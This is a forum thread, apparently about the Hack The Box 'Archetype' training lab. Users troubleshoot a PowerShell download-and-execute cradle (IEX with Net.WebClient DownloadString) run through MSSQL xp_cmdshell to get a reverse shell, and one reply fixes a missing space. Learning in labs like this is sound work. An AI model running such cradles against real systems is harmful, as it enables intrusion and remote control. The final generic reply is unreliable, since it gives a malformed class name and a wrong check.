Archetype: New-ObjectNet.WebClient Error Message

Hi All

All initial steps on Archetype went smoothly, and I checked the walkthrough to make sure I was on-track, but then after getting mysql login, I tried using xp_cmdshell "powershell "IEX (New-ObjectNet.WebClient).DownloadString("\“);” to get a reverse shell (IP & ports are correct, web server and nc are started in same folder as .ps1 script etc).

Initially (the first ten or so attempts) I would get no error, just a new SQL> line prompt but no activity on the web server or nc. I then tried different powershell scripts but no luck with those either, so went back to the walkthrough script and restarted my Kali machine, installed ufw and set exceptions for 80 & 443 and tried the process again from scratch, this time getting the following error (also tried adding an extra closing parentheses but no difference):

New-ObjectNet.WebClient : The term ‘New-ObjectNet.WebClient’ is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.

At line:1 char:6

  • IEX (New-ObjectNet.WebClient).DownloadString("

  •  ~~~~~~~~~~~~~~~~~~~~~~~                                                     
    • CategoryInfo : ObjectNotFound: (New-ObjectNet.WebClient:String) , CommandNotFoundException

    • FullyQualifiedErrorId : CommandNotFoundException


I’ve searched the forums and found someone with the same issue but no details of if/how it was resolved.

I know it’s a noob question but I’ve tried everything I can think of to get it working and it just won’t. I’d like to complete it before I move on to the next box so if anybody can help it would be very much appreciated!


Hey, i have the same Problems. All right (i think) configured and i see the ps1 script via Browser of the VPN IP but Execute doesnt work. Anybody an Idea?

Here a Screenshot of my Configure:

Hey, it’s not New-ObjectNet.WebClient it should be New-Object Net.WebClient . Is there a space after the New-Object?

Hey Morjan, ok that works but and i see a connect on nc but if i write anything its come an error.

i think “keep alive” is wrong but i dont know why

Edit: i found the Problem, wrong Port on shell :smiley: layer 8…

“Archetype: New-ObjectNet.WebClient” is not a valid command in PowerShell. It appears that the intended command may be “New-Object System Net.WebClient” instead. This command creates a new instance of the WebClient class in the System Net namespace in PowerShell.

If you receive an error message when trying to run this command, it could be due to several reasons, such as:

The WebClient class may not be available on your system. You can check this by running the command “Get-Command -Name WebClient” in PowerShell.

Your system may have a security policy that prevents the use of the WebClient class or blocks outgoing web requests.

Your PowerShell session may not have administrative privileges to run the command.

To resolve this issue, you can try the following steps:

Check if the WebClient class is available on your system by running the command “Get-Command -Name WebClient” in PowerShell. If the command returns a result, then the class is available on your system.

Check your system’s security policies and firewall settings to ensure that they do not block outgoing web requests. You can consult with your system administrator or IT support team to check and configure these settings.

Try running PowerShell with administrative privileges by right-clicking on the PowerShell icon and selecting “Run as administrator” from the context menu.

If none of these steps resolve the issue, you may need to provide more information about the error message and the context in which it occurs for further assistance.

Rachel Gomez